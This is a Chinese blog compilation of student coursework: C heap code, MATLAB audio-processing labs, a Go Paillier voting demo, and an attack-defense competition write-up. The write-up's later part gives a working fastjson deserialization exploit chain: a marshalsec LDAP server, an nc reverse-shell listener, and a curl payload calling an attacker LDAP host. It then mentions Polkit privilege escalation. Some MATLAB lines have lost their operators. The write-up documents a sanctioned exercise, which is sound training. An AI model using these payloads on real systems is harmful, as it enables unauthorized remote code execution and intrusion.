小顶堆就是一棵完全二叉树，非叶子结点的值不大于左孩子和右孩子的值。
插入x时，先将x插入到二叉树的最后一个结点，再根据小顶堆的定义，自底而上递归调整x的位置。
使用数组实现小顶堆。

//小顶堆的插入：
void MinHeapInsert(int array[], int n, int x) {//n为数组原长
    array[n + 1] = x;  //先把x插入到二叉树最后一个结点
    int a = n + 1;  //指向x的角标
    int b;
    while (a != 1) {
        if (array[a] < array[a / 2]) {  //如果x比双亲结点小，就交换x和双亲结点
            b = array[a];
            array[a] = array[a / 2];
            array[a / 2] = b;
            a /= 2;  //指向x的角标减半
        } else break;
    }
}

//主函数：
int main() {
    int n;
    printf("请输入元素k的个数：\n");scanf("%d",&n);
    int MinHeap[n+2];MinHeap[0]=0;  //数组从第1个位置开始使用，第0个位置为0
    printf("请输入小顶堆：\n");
    for (int i = 1; i <= n; ++i)
        scanf("%d",&MinHeap[i]);
    int x;
    printf("请输入x：\n");scanf("%d",&x);
    MinHeapInsert(MinHeap, n, x);
    for (int j = 1; j <= n+1; ++j)
        printf("%d ", MinHeap[j]);
    return 0;
}

MATLAB实验——相关与混响

2023-11-21T19:33:00.000Z

实验目的与意义

学习相关运算，了解互相关与卷积运算的异同点，学会计算信号的互相关和自相关。
学习声波的回声与混响，了解其发生的原理，掌握用matlab对音频增加混响效果的方法。
学习声波在室内传播的系统模型，学会对系统参数的测量与估计。

实验过程

导入音频变量advice并截取单声道。 [advice, fs] = audioread('exp.wav');
advice = advice(:,1);
对音频增加混响效果。

使用zeros函数生成一个1×fs大小的零矩阵echoed_pattern（可以看作一个离散形式的单位脉冲函数），并令其第一个元素为1。定义echoed_advice变量为advice和echoed_pattern的卷积结果。
当echoed_pattern只有原点处有单位脉冲时，advice与它的卷积结果等于advice本身（即直射声波），画出echoed_pattern的函数图和直射声波的时域图。
当在echoed_pattern上附加一个延迟0.1秒，幅值为0.7倍的延迟衰减分量时，advice与它的卷积结果等于混响声波，画出echoed_pattern的函数图和混响声波的时域图。 %直射声波
echoed_pattern = zeros(1,fs);
echoed_pattern(1) = 1;
echoed_advice = conv(advice, echoed_pattern);
sound(echoed_advice, fs);
figure('Name','直射声波');
subplot(211); stem((0:fs-1)/fs, echoed_pattern);
subplot(212); plot((1:length(echoed_advice))/fs, echoed_advice); %混响声波
echoed_pattern(0.1*fs+1) = 0.7;
echoed_advice = conv(advice, echoed_pattern);
sound(echoed_advice, fs);
figure('Name','混响声波');
subplot(211); stem((0:fs-1)/fs, echoed_pattern);
subplot(212); plot((1:length(echoed_advice))/fs, echoed_advice);

添加背景音乐 [bgm] = audioread('exp_BGM.wav');
advice = [echoed_advice, bgm(1:length(echoed_advice),1).*0.3];
sound(advice, fs);

MATLAB实验——干扰与抗干扰

2023-11-21T19:29:00.000Z

实验目的与意义

了解干扰的定义以及干扰的类型。
学习实单音干扰、复单音干扰、抗单音干扰、多音干扰、白噪声窄带干扰和扫频干扰的原理。
掌握在matlab对音频信号添加多音干扰和扫频干扰的方法。
熟悉reshape函数、cumsum函数、mesh函数，掌握在matlab中绘出三维曲面图的方法。

实验过程

使用audioread函数导入音频信号exp.wav，定义音频信号wave和采样率fs。 [wave, fs] = audioread("exp.wav");
添加多音干扰。设置FFT点数为8192，采样32组。使用for循环随机生成三种干扰信号，其中InitPhase为初相位，使用rand函数生成；Fj为噪声频率，使用randi函数生成。添加多音干扰后分布生成原音频、三种噪声以及添加噪声后的音频的频谱图。 N = 8192;%FFT点数
M = 32;
SampLen = MN; wave = wave(1:SampLen,1).'; L = length(wave); time = L/fs; for jamming_index = 1:3 InitPhase = rand; Fj = (randi(N/2)-1)fs/N;
jamming(jamming_index,:) = cos(2pi(Fj/fs*[0:SampLen-1]+InitPhase));
end
jamming = sum(jamming);
wave_jammed = wave+jamming;
sound(wave_jammed,fs);
%画出频谱图
figure('Name','添加多音干扰频谱图');
subplot(311);
plot([-L/2:L/2- 1]/time,abs(fftshift(fft(transpose(wave)))),'linewidth',1.5);
title('原音频'); xlabel('频率/Hz'); grid on;
subplot(312);
plot([-L/2:L/2- 1]/time,abs(fftshift(fft(transpose(jamming)))),'linewidth',1.5);
title('三种频率的噪声'); xlabel('频率/Hz'); grid on;
subplot(313);
plot([-L/2:L/2- 1]/time,abs(fftshift(fft(transpose(wave_jammed)))),'linewidth',1.5);
title('添加噪声后的音频'); xlabel('频率/Hz'); grid on;

进行分组合并检测干扰。使用reshape函数将加噪后的音频矩阵重构为8192×32的矩阵，使用fft函数对重构后的矩阵进行快速傅里叶变换，画出变换后矩阵的三维曲面图。 wave_groups = reshape(wave_jammed,N,M);
wave_groups_fft = fft(wave_groups);
figure('Name','分组合并检测干扰三维曲面图');
mesh(abs(wave_groups_fft));
combined_spectrum = sum(abs(wave_groups_fft),2);
jammed_index = find(combined_spectrum>2000*M);

删除上一步中找的的干扰信号。生成删除干扰后的三维曲面图。对删除干扰信号后的音频进行重构，使其能够正常播放。 wave_groups_fft(jammed_index,:) = 0;
figure('Name','干扰删除三维曲面图');
mesh(abs(wave_groups_fft));
wave_antijammed = reshape(ifft(wave_groups_fft),1,[]);
sound(wave_antijammed,fs);

添加扫频干扰信号。生成时长为10s，周期为2s，从100Hz到10100Hz之间匀速变化的扫频干扰信号。生成时域图。 [wave,fs] = audioread("exp.wav");
wave = transpose(wave);
t_scale = 0:1/fs:(10-1/fs);
f_t = 10000*abs(1-mod(t_scale,2))+100;
figure('Name','扫频干扰时域图');
plot(t_scale,f_t,'linewidth',2);
title('扫频干扰'); xlabel('时间/s'); grid on;

MATLAB实验——卷积与滤波

2023-11-21T19:28:00.000Z

实验目的与意义

学习脉冲响应的定义，理解卷积计算的原理。
熟悉conv函数，掌握在matlab中计算卷积的方法。
熟悉randn函数，掌握在matlab中对音频信号加噪的方法。
学习filterDesiner滤波器的使用，掌握在matlab中对音频信号降噪的方法。

实验过程

导入第三次实验中获得的音频文件exp.wav，定义变量wave和fs分别为音频信号和采样率。同时生成原音频信号频谱图。 [wave, fs] = audioread("exp.wav");
L = length(wave);
time = L/fs;
subplot(131);
plot([-L/2:L/2-1]/time,abs(fftshift(fft(wave))),'linewidth',1.5);
title('加噪前频谱');
grid on;

使用randn函数对音频信号wave进行加噪，噪声类型为高斯噪声，加噪后的音频信号为wave_noise。同时生成加噪后的频谱图。 noise = 0.7*randn(L,1);
wave_noise = wave+noise;
sound(wave_noise,fs); subplot(132);
plot([-L/2:L/2-1]/time,abs(fftshift(fft(wave_noise))),'linewidth',1.5);
title('加噪后频谱');
grid on;

使用filterDesigner滤波器对加噪后的音频信号进行降噪，降噪后的音频为wave_bpf。因为从加噪后的频谱图可以看出，220Hz、262Hz、330Hz、392Hz、440Hz、524Hz为音频的主要内容，所以使用带通滤波器只保留220Hz-524Hz的信号。同时生成降噪后的频谱图。 bpf = BandPass_220_524;
wave_bpf = conv(wave_noise,bpf,'same');
sound(wave_bpf,fs); subplot(133);
plot([-L/2:L/2-1]/time,abs(fftshift(fft(wave_bpf))),'linewidth',1.5);
title('降噪后频谱');
grid on;

MATLAB实验——频率与频谱

2023-11-21T19:26:00.000Z

实验目的与意义

掌握matlab中生成声音波形的方法
掌握matlab中函数的定义、调用
掌握对非周期离散时间信号进行傅里叶变换的运算过程以及绘出幅度谱和相位谱的方法

实验过程

定义singletone_melody函数，其作用为传入乐谱x，返回声音波形y %% 定义函数singletone_melody，传入乐谱x，返回声音波形y
function y = singletone_melody(x)
%设定简谱对应频率，根据十二平均律，以A4=440Hz为基准
index = -99:12;
wave = [];
%设定声音持续时间
BeatTime = 0.5;
%设定采样率为2000Hz
fs = 2000;
%求乐谱长度
note_length = length(x);
for note_index = 1:note_length
note_freq = 4402^(x(note_index)/12); note_wave = cos(2pinote_freq[1:BeatTime*fs]/fs);
wave = [wave,note_wave];
end
y = wave;
end
根据所选歌曲《北京欢迎你（片段）》的简谱编写乐谱tune %编写乐谱
tune = [-5 -2 -5 -7 -5 -7 -5 -99 -5 -7 -12 -9 -5 -7 -99 …
-7 -9 -12 -9 -7 -5 -2 -7 -5 0 -2 -12 -7 -9 -99 …
-7 -9 -12 -9 -7 -5 -2 -7 -5 0 -2 0 -5 -99 …
-7 -5 -7 -9 -2 0 -7 -99 -12 -5 -5 -99 -7 -99 -5 -99 -99 -99 …
-5 -2 3 -2 0 -99 0 -2 -5 -5 -2 -2 -99 …
-2 -5 -2 0 3 3 -2 -5 -7 -2 -2 -5 -5 -99 …
-5 -2 3 -2 0 -99 3 5 3 -2 -5 -2 3 0 -99 …
-5 -7 -5 -2 7 5 -99 3 -99 3 3];
调用singletone_melody函数，传入乐谱tune，生成声音波形wave并导出wav格式音频文件 %调用singletone_melody函数，生成声音波形并导出
wave = singletone_melody(tune);
audiowrite("exp3_ZhangNuo.wav",wave,2000);
%播放
sound(wave,2000);
对声音波形wave进行傅里叶变换，因为wave是非周期离散时间信号，所以使用公式

    %对声音波形进行傅里叶变换p = [];n = 1:1:length(wave);%列标w = 0:0.0004*pi:pi;%频率分辨率=2000/2*0.0004=0.4p = exp(-1i*n'*w);%exp(-jΩn)wave_f = wave*p;%傅里叶变换结果5. 使用subplot函数在同一个窗口中绘出幅度谱和相位谱。幅度谱中标出的点的横坐标为tune中出现的十种频率、其中最小的2Hz对应的-99为占位延长间隔时间用，无实际意义，剩下的七个从小到大分别对应乐谱中的降八度la、do、re、mi、so、la、升八度do、升八度re、升八度mi。    %绘出幅度谱subplot(2,1,1);plot(1000*w/pi,abs(wave_f));title('北京欢迎你（片段）幅度谱');xlabel('频率(Hz)');%绘出相位谱subplot(2,1,2);plot(1000*w/pi,angle(wave_f));title('北京欢迎你（片段）相位谱');xlabel('频率(Hz)');

MATLAB实验——音频处理

2023-11-21T19:22:00.000Z

实验内容

选取1首歌曲《勾指起誓（伴奏）》，导入MATLAB并进行处理，处理方式包括：剪辑、改变采样位宽、波形压缩、降采样、加噪，并导出为新的音频文件。

实验过程

导入并读取歌曲 %读取音频文件，显示频谱
file_name = 'gzqs.mp3';
[wave, fs] = audioread(file_name);
figure(1);
plot(wave);

对原歌曲进行剪辑，覆盖原音频 %一、对原歌曲进行剪辑
point1 = 22.3;
point2 = 89.0;
PlayTime = point2 - point1;
wave = wave(point1fs + [1:PlayTimefs],1);
调整量化位宽，由16bit调整为4bit %二、调整量化位宽，由16bit调整为4bit
TruncBits = 4;
TruncWave = round(wave*2^TruncBits)/2^TruncBits;
figure(2);
plot(TruncWave);
%sound(TruncBits,fs);
wave = TruncWave;

对音频进行波形压缩 %三、对音频信号进行波形压缩
figure(3);
subplot(211);
plot([1:length(wave)]/fs,wave);
%sound(wave,fs);
subplot(212);
plot([1:length(wave)]/(1.2fs),wave); %sound(wave,1.2fs);

对音频信号进行降采样，降为1/4 %四、对音频信号进行降采样
figure(4);
subplot(211);
plot([1:length(wave)]/fs,wave);
%sound(wave,fs);
subplot(212);
plot([1:4:length(wave)]/fs,wave(1:4:end)); %降为1/4
%sound(wave(1:4:end),0.25*fs);

在音频信号中加入高斯噪声 %五、在音频信号中加入噪声
noise = 0.05*randn(size(wave));
%sound(noise,fs);
figure(1);
hold on;
plot(noise,'color','r');
hold off;
%sound(noise+wave,fs);
wave = wave + noise;

导出音频文件 %导出音频文件
audiowrite('gzqs2.wav',wave,0.25*fs);

实验结果

密码学原理与实践第三版课后习题

2023-11-21T19:19:00.000Z

5.11

5.12

6.9

6.12

7.6

7.7

7.8

7.13

9.1

9.4

9.5

10.1

10.7

11.1

11.7

（原站图片 44003.png 已失效，迁移时无法获取。）

基于Paillier算法的匿名电子投票流程实现（Go实现）

2023-11-21T19:05:00.000Z

实验名称：基于Paillier 算法的匿名电子投票流程实现

实验原理：

Paillier加密算法是佩利尔在1999年发明的概率公钥加密算法。该算法基于复合剩余类的困难问题，是一种满足加法同态性质的加密算法。该算法已经被广泛应用于加密信号处理以及第三方数据处理领域。Paillier算法如下图所示。

在电子投票系统中，由于统计票数是使用加法累加票数进行统计的，因此具有加法同态性质的Paillier算法可被应用于实现匿名的电子投票系统，以保护投票人的投票信息。电子投票系统架构如下图所示。

实验环境：Windows 11 + Go 1.20.4

实验步骤：

1.配置实验环境

1.1配置Go语言环境：

1.1.1下载和安装Go语言SDK，下载地址：https://golang.org/dl/

下载go1.20.4.windows-amd64.msi文件后，点击安装。

1.1.2配置系统环境变量

新增 GOROOT，即 GO 语言安装目录
在系统变量自带的 Path 下添加路径%GOROOT%\bin
创建工程文件夹，为了方便识别，需要在文件夹中创建bin、pkg、src三个文件夹
新增 GOPATH，即刚才创建的GO 的工程目录
在系统变量自带的Path下添加路径%GOPATH%
打开命令行工具，输入命令go env和go version，显示类似下图说明配置成功

2.创建Go语言代码文件，编写Paillier加密程序，验证Paillier算法具有加法同态性：

package main  import (
    “crypto/rand”
    “errors”
    “fmt”
    “io”
    “math/big”
)  
var one = big.NewInt(1)  
// ErrMessageTooLong 当所需加密信息长度大于公钥长度时，报错。
var ErrMessageTooLong = errors.New(“信息过长！请调整公钥长度！”)  
// GenerateKey 生成指定位数的公私钥。
func GenerateKey(random io.Reader, bits int) (*PrivateKey, error) {
    // 生成素数p
    var p *big.Int
    var errChan = make(chan error, 1)
    go func() {
       var err error
       p, err = rand.Prime(random, bits/2)
       errChan <- err
    }()  
// 生成素数q  q, err := rand.Prime(random, bits/2)  if err != nil {     return nil, err  }  // 等待素数p生成完成  if err := <-errChan; err != nil {     return nil, err  }  n := new(big.Int).Mul(p, q)  pp := new(big.Int).Mul(p, p)  qq := new(big.Int).Mul(q, q)  return &PrivateKey{     PublicKey: PublicKey{        N:        n,        NSquared: new(big.Int).Mul(n, n),        G:        new(big.Int).Add(n, one), // g = n + 1     },     p:         p,     pp:        pp,     pminusone: new(big.Int).Sub(p, one),     q:         q,     qq:        qq,     qminusone: new(big.Int).Sub(q, one),  }, nil  
}  
// PrivateKey 私钥
type PrivateKey struct {
    PublicKey
    p         *big.Int
    pp        *big.Int
    pminusone *big.Int
    q         *big.Int
    qq        *big.Int
    qminusone *big.Int
    Lambda    *big.Int
}  
// PublicKey 公钥
type PublicKey struct {
    N        *big.Int
    G        *big.Int
    NSquared *big.Int
}  
// L L(x)=(x-1)/n
func L(x, n *big.Int) *big.Int {
    return new(big.Int).Div(new(big.Int).Sub(x, one), n)
}  
// Encrypt 加密。
func Encrypt(pubKey *PublicKey, plainText []byte) ([]byte, *big.Int, error) {
    r, err := rand.Int(rand.Reader, pubKey.N)
    if err != nil {
       return nil, nil, err
    }  
m := new(big.Int).SetBytes(plainText)  if pubKey.N.Cmp(m) < 1 { // N < m     return nil, nil, ErrMessageTooLong  }  // c = g^m * r^n mod n^2 = [(m*n+1) mod n^2] * r^n mod n^2  c := new(big.Int).Mod(     new(big.Int).Mul(        new(big.Int).Mod(new(big.Int).Add(one, new(big.Int).Mul(m, pubKey.N)), pubKey.NSquared),        new(big.Int).Exp(r, pubKey.N, pubKey.NSquared),     ),     pubKey.NSquared,  )  return c.Bytes(), r, nil  
}  
// Decrypt 解密。
func Decrypt(privKey *PrivateKey, cipherText []byte) ([]byte, error) {
    c := new(big.Int).SetBytes(cipherText)
    if privKey.NSquared.Cmp(c) < 1 {
       return nil, ErrMessageTooLong
    }
    mu := new(big.Int).ModInverse(privKey.Lambda, privKey.N)
    m := new(big.Int).Mod(new(big.Int).Mul(L(new(big.Int).Exp(c, privKey.Lambda, privKey.NSquared), privKey.N), mu), privKey.N)
    return m.Bytes(), nil
}  
// AddCipher 将两个密文相乘，以达到明文相加的目的。
func AddCipher(pubKey *PublicKey, cipher1, cipher2 []byte) []byte {
    x := new(big.Int).SetBytes(cipher1)
    y := new(big.Int).SetBytes(cipher2)
    // x * y mod n^2
    return new(big.Int).Mod(new(big.Int).Mul(x, y), pubKey.NSquared).Bytes()
}  
func main() {
    // 生成一个4096位私钥
    privKey, err := GenerateKey(rand.Reader, 4096)
    if err != nil {
       fmt.Println(err)
       return
    }
    privKey.Lambda = new(big.Int).Mul(privKey.pminusone, privKey.qminusone)
    // 加密明文1
    fmt.Print(“请输入第一个明文：”)
    var Plaintext1 big.Int
    fmt.Scan(&Plaintext1)
    Cipher1, _, err := Encrypt(&privKey.PublicKey, Plaintext1.Bytes())
    if err != nil {
       fmt.Println(err)
       return
    }  
// 加密明文2  fmt.Print("请输入第二个明文：")  var plaintext2 big.Int  fmt.Scan(&plaintext2)  Cipher2, _, err := Encrypt(&privKey.PublicKey, plaintext2.Bytes())  if err != nil {     fmt.Println(err)     return  }  fmt.Println("对第一个明文加密后得到密文：", new(big.Int).SetBytes(Cipher1))  fmt.Println("对第二个明文加密后得到密文：", new(big.Int).SetBytes(Cipher2))  // 将明文1与明文2相加。  EncryptedPlusCipher1Cipher2 := AddCipher(&privKey.PublicKey, Cipher1, Cipher2)  fmt.Println("两密文相乘得到：", new(big.Int).SetBytes(EncryptedPlusCipher1Cipher2))  DecyptedPlusCipher1Cipher2, err := Decrypt(privKey, EncryptedPlusCipher1Cipher2)  if err != nil {     fmt.Println(err)     return  }  fmt.Println("密文相乘后解密得到的明文为：", new(big.Int).SetBytes(DecyptedPlusCipher1Cipher2))  }

3.运行Paillier加密程序，结果如下图所示，说明Paillier算法具有加法同态性。

4.创建Go语言代码文件，编写基于Paillier的电子投票系统：

package main  
import (
    "crypto/rand"
    "errors"
    "fmt"
    "io"
    "math/big"
)  
var one = big.NewInt(1)  
// ErrMessageTooLong 当所需加密信息长度大于公钥长度时，报错。
var ErrMessageTooLong = errors.New("信息过长！请调整公钥长度！")  
// GenerateKey 生成指定位数的公私钥。
func GenerateKey(random io.Reader, bits int) (*PrivateKey, error) {
    // 生成素数p
    var p *big.Int
    var errChan = make(chan error, 1)
    go func() {
       var err error
       p, err = rand.Prime(random, bits/2)
       errChan <- err
    }()  
// 生成素数q  q, err := rand.Prime(random, bits/2)  if err != nil {     return nil, err  }  // 等待素数p生成完成  if err := <-errChan; err != nil {     return nil, err  }  n := new(big.Int).Mul(p, q)  pp := new(big.Int).Mul(p, p)  qq := new(big.Int).Mul(q, q)  return &PrivateKey{     PublicKey: PublicKey{        N:        n,        NSquared: new(big.Int).Mul(n, n),        G:        new(big.Int).Add(n, one), // g = n + 1     },     p:         p,     pp:        pp,     pminusone: new(big.Int).Sub(p, one),     q:         q,     qq:        qq,     qminusone: new(big.Int).Sub(q, one),  }, nil  
}  
// PrivateKey 私钥
type PrivateKey struct {
    PublicKey
    p         *big.Int
    pp        *big.Int
    pminusone *big.Int
    q         *big.Int
    qq        *big.Int
    qminusone *big.Int
    Lambda    *big.Int
}  
// PublicKey 公钥
type PublicKey struct {
    N        *big.Int
    G        *big.Int
    NSquared *big.Int
}  
// L L(x)=(x-1)/n
func L(x, n *big.Int) *big.Int {
    return new(big.Int).Div(new(big.Int).Sub(x, one), n)
}  
// Encrypt 加密。
func Encrypt(pubKey *PublicKey, plainText []byte) ([]byte, *big.Int, error) {
    r, err := rand.Int(rand.Reader, pubKey.N)
    if err != nil {
       return nil, nil, err
    }  
m := new(big.Int).SetBytes(plainText)  if pubKey.N.Cmp(m) < 1 { // N < m     return nil, nil, ErrMessageTooLong  }  // c = g^m * r^n mod n^2 = [(m*n+1) mod n^2] * r^n mod n^2  c := new(big.Int).Mod(     new(big.Int).Mul(        new(big.Int).Mod(new(big.Int).Add(one, new(big.Int).Mul(m, pubKey.N)), pubKey.NSquared),        new(big.Int).Exp(r, pubKey.N, pubKey.NSquared),     ),     pubKey.NSquared,  )  return c.Bytes(), r, nil  
}  
// Decrypt 解密。
func Decrypt(privKey *PrivateKey, cipherText []byte) ([]byte, error) {
    c := new(big.Int).SetBytes(cipherText)
    if privKey.NSquared.Cmp(c) < 1 {
       return nil, ErrMessageTooLong
    }
    mu := new(big.Int).ModInverse(privKey.Lambda, privKey.N)
    m := new(big.Int).Mod(new(big.Int).Mul(L(new(big.Int).Exp(c, privKey.Lambda, privKey.NSquared), privKey.N), mu), privKey.N)
    return m.Bytes(), nil
}  
// AddCipher 将两个密文相乘，以达到明文相加的目的。
func AddCipher(pubKey *PublicKey, cipher1, cipher2 []byte) []byte {
    x := new(big.Int).SetBytes(cipher1)
    y := new(big.Int).SetBytes(cipher2)
    // x * y mod n^2
    return new(big.Int).Mod(new(big.Int).Mul(x, y), pubKey.NSquared).Bytes()
}  
func SendtoTeller(evts *[][]byte, evt [][]byte, canum int, pubKey *PublicKey) {
    for i := 0; i < canum; i++ {
       (*evts)[i] = AddCipher(pubKey, (*evts)[i], evt[i])
    }
}  
func SendtoSpokesman(evts *[][]byte, canum int, privKey *PrivateKey) {
    var err error
    var Winner = 0
    for i := 0; i < canum; i++ {
       (*evts)[i], err = Decrypt(privKey, (*evts)[i])
       if err != nil {
          fmt.Println(err)
          return
       }
       fmt.Println("第", i+1, "位候选人获得了", new(big.Int).SetBytes((*evts)[i]), "张选票；")
       if new(big.Int).SetBytes((*evts)[Winner]).Cmp(new(big.Int).SetBytes((*evts)[i])) < 1 {
          Winner = i
       }
    }
    fmt.Println("最终第", Winner+1, "位候选人获得的选票最多，为", new(big.Int).SetBytes((*evts)[Winner]), "张")
    return
}  
func main() {
    // 生成一个4096位私钥
    privKey, err := GenerateKey(rand.Reader, 4096)
    if err != nil {
       fmt.Println(err)
       return
    }
    privKey.Lambda = new(big.Int).Mul(privKey.pminusone, privKey.qminusone)
    // 程序开始运行提示
    fmt.Println("此程序模拟了基于Paillier算法的匿名电子投票的流程")
    fmt.Println("首先每位投票者为候选人投票并将结果加密发送给计票人。每人只有1张选票，\n选票上被投票的候选者得到1张选票，其他候选者得到0张选票；")
    fmt.Println("然后计票人将所有选票上对应候选人的加密的投票结果相乘，并将加密的统计\n结果发送给公布人；")
    fmt.Println("最后公布人对统计的票数进行解密并公布。")
    fmt.Println("********************************************************************")  
fmt.Print("请设置候选者人数：")  var CandidatesNum int  fmt.Scan(&CandidatesNum)  if CandidatesNum <= 0 {     fmt.Println("候选者人数至少为1")     return  }  EncryptedVotes := make([][]byte, CandidatesNum)  for i := 0; i < CandidatesNum; i++ {     EncryptedVotes[i], _, err = Encrypt(&privKey.PublicKey, big.NewInt(int64(0)).Bytes())  }  fmt.Print("请设置投票者人数：")  var VotersNum int  fmt.Scan(&VotersNum)  if VotersNum <= 0 {     fmt.Println("投票者人数至少为1")     return  }  // 投票提示  for i := 0; i < VotersNum; i++ {     fmt.Println("-----请第", i+1, "名投票者为候选者投票-----")     Vote := make([]int, CandidatesNum)     var flag bool     for j := 0; j < CandidatesNum; j++ {        fmt.Print("请为第", j+1, "名候选者投票：")        fmt.Scan(&Vote[j])        if Vote[j] == 1 {           if flag {              fmt.Println("非法投票！每位投票者只有1张选票！")              return           }           flag = true        }     }     // 将加密的投票结果发给计票人     EncryptedVote := make([][]byte, CandidatesNum)     for i := 0; i < CandidatesNum; i++ {        EncryptedVote[i], _, err = Encrypt(&privKey.PublicKey, big.NewInt(int64(Vote[i])).Bytes())        if err != nil {           fmt.Println(err)           return        }     }     fmt.Println("对该投票结果进行加密并发送给计票人")     fmt.Println("计票人对此投票结果进行计票")     SendtoTeller(&EncryptedVotes, EncryptedVote, CandidatesNum, &privKey.PublicKey)  }  fmt.Println("-----计票人计票完成并将加密后的投票结果发给公布人-----")  fmt.Println("加密后的投票结果为：")  for i := 0; i < CandidatesNum; i++ {     fmt.Println("第", i+1, "位候选人获得的选票票数的加密结果为", new(big.Int).SetBytes(EncryptedVotes[i]))  }  fmt.Println("-----公布人解密计票结果并公布最终的投票结果-----")  SendtoSpokesman(&EncryptedVotes, CandidatesNum, privKey)  }

5.运行电子投票系统，结果如下图所示：

小学期分组对抗赛WP

2023-11-21T19:01:00.000Z

1.运用环境及条件

1.1系统配置

Windows系统：

版本 Windows 11 专业版

版本 23H2

安装日期 ‎2023-‎07-‎20

操作系统版本 22631.2271

体验 Windows Feature Experience Pack 1000.22674.1000.0

Kali系统：Linux Stark 6.4.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian
6.4.11-1kali1 (2023-08-21) x86_64 GNU/Linux

1.2软硬件清单

2.目标系统（或网络）环境

我队攻击机在校园网中IP为10.15.7.23，在对抗赛外网中IP为172.17.0.119

所有私地题1的IP：

192.168.31.125	192.168.34.49	192.168.38.110
192.168.31.138	192.168.34.90	192.168.38.138
192.168.31.46	192.168.35.142	192.168.38.52
192.168.31.75	192.168.35.39	192.168.38.86
192.168.32.102	192.168.35.76	192.168.39.106
192.168.32.158	192.168.35.97	192.168.39.136
192.168.32.59	192.168.36.117	192.168.39.50
192.168.32.70	192.168.36.157	192.168.39.75
192.168.33.104	192.168.36.49	192.168.40.106
192.168.33.152	192.168.36.92	192.168.40.134
192.168.33.48	192.168.37.117	192.168.40.50
192.168.33.78	192.168.37.141	192.168.40.73
192.168.34.108	192.168.37.42	192.168.41.53
192.168.34.142	192.168.37.70	192.168.41.83

所有高地题的IP及端口：

192.168.30.42：22、80

192.168.30.55：22、80

192.168.30.35：22、80、8002

3.演练过程与结果

3.1私地题

3.1.1私地题1

ssh连接到攻击机，在攻击机上传masscan进行端口扫描，发现私地题1开启了22、8080和8009端口，尝试curl8080端口发现部署了Tomcat8.0.36。

我的电脑无法直接连接私地，因此在攻击机做了端口转发，使用iox将私地8080端口转发到攻击机8080端口。

在获得第三个hint之前，主要测试过程如下：

信息收集
1. 扫全端口，发现：
2. 22：SSH
3. 8080：Tomcat 8.0.36
4. 8009：AJP
5. 扫 8080 端口，发现 PUT 方法可用
6. 相关漏洞
7. CVE-2020-1938：Apache Tomcat 文件包含漏洞
8. 后台弱口令：在Tomcat8环境下默认进入后台的密码为 tomcat/tomcat，未修改造成未授权即可进入后台
9. CVE-2019-0232：Apache Tomcat 远程代码执行漏洞
10. CVE-2017-12615：Tomcat7远程代码执行漏洞(PUT请求)
11. Tomcat样例目录session操控漏洞
12. CVE-2016-8735：Tomcat反序列化漏洞
13. CVE-2016-1240：Tomcat本地提权漏洞
14. 尝试访问8080端口，返回 404，无意之中发现刷新几次就可以正常显示了
15. 点击Manager App，返回空白，发现同上，刷新几次就可以正常显示登录框了
确定攻击链
1. getshell：
2. 弱口令进后台——传war马——利用CVE-2020-1938包含马
3. session操控拿后台——传war马——利用CVE-2020-1938包含马
4. CVE-2016-8735 RCE
5. 提权：未getshell，待定
结果：
1. getshell
2. 弱口令爆破，无果
3. 存在session操控，但没用
4. 漏洞利用条件不满足

获得第三个hint前，主要在关注Tomcat的漏洞。但获得第三个hint后，发现访问192.168.35.1000:8000/whatsyourname/这个url显示Hello
World，根据路径名称猜测该页面可传参name，尝试POST传参name=xxx后无变化，想到使用以json格式传参，尝试传参{“name”:”admin”}，返回显示{“data”:”Hello
admin, Your age is
null.”,”success”:200}，说明传参格式应为json，返回报文中有age这一属性，猜测还可以传递参数age，尝试传参{“name”:”admin”,”age”:”123”}，返回显示{“data”:”Hello
admin, Your age is 123.”,”success”:200}。

至此，得到了攻击路径，传参格式，首先想到json注入，模糊测试20分钟后发现没有任何报错，所有参数均被正常打印出来，说明不是json注入。此时想到json另一个经典漏洞，fastjson反序列化漏洞，尝试验证。漏洞原理这里不做赘述，可参考https://blog.csdn.net/Bossfrank/article/details/130100893。

首先在攻击机搭建环境：
第一步，编写攻击文件Exploit.java，关键点在画红框的位置，这里的IP为攻击机在对抗赛外网中的IP，可以使用ip
a命令查询，端口号填写攻击机等会getshell的端口。

第二步，编译刚才写的Exploit.java，关键点在于java和javac的版本，一定要保证它们的版本同为1.8.0_181，编译所使用的操作系统不影响最终结果。然后将编译好的Exploit.class上传到攻击机，如目录/home/iscc/下。

第三步，搭建http服务，在刚才上传的目录下执行命令python2 -m SimpleHTTPServer
1111，一定要和Exploit.class同目录。这一步是为了接收LDAP服务重定向请求，需要在攻击文件同目录下开启http服务，这样才可以访问到攻击文件

第四步，搭建LDAP服务，这里直接利用脚本marshalsec-0.0.3-SNAPSHOT-all.jar，可在github下载，在攻击机执行命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://172.17.0.119:1111/#Exploit 9999

这一步使用marshalsec工具在9999端口开启LDAP服务，借助LDAP服务将LDAP reference result 重定向到web服务器。

第五步，在攻击机监听1888端口，nc -lvvp 1888
第五步，在攻击机监听1888端口，nc -lvvp 1888

curl -X POST -d '{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"age":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.17.0.119:9999/Exploit","autoCommit":true}}' http://192.168.35.100:8080/whatsyourname/

成功getshell。

接下来是提权部分，在私地执行命令uname -a和lsb_release
-a，查看系统和内核版本，发现内核版本较低，想到使用DirtyCow漏洞或Polkit漏洞提权，尝试前者未成功，尝试后者提权成功。

但值得注意的一点是，在这场比赛中提权并无大用，如果细心的话可以发现，所有私地均可以直接访问攻防赛外网，也就是访问我们的攻击机，也就是说我们无需在私地重新搭建fastjson反序列化漏洞的攻击环境，只需要在私地执行

curl -X POST -d '{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"age":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.17.0.119:9999/Exploit","autoCommit":true}}' http://192.168.35.100:8080/whatsyourname/

这条和刚才在攻击机上一样的命令，同时将http://192.168.35.100:8080/whatsyourname/中的IP修改为别人的私地IP，即可在攻击机getshell。至于如何获得别人的私地IP呢，可以写一个shell脚本，批量执行ping命令。但我未作尝试，因为这台机器提权过于简单。

3.2.2私地题2

这是一道pwn题，能力有限，遂未作深究。主要尝试过程如下：

信息收集
1. 扫全端口，发现：
2. 22：SSH
3. 8000：PWN题环境
4. 相关漏洞
5. wget
  1. CVE-2017-13090：Wget缓冲区溢出漏洞
  2. CVE-2016-4971：Wget重定向漏洞
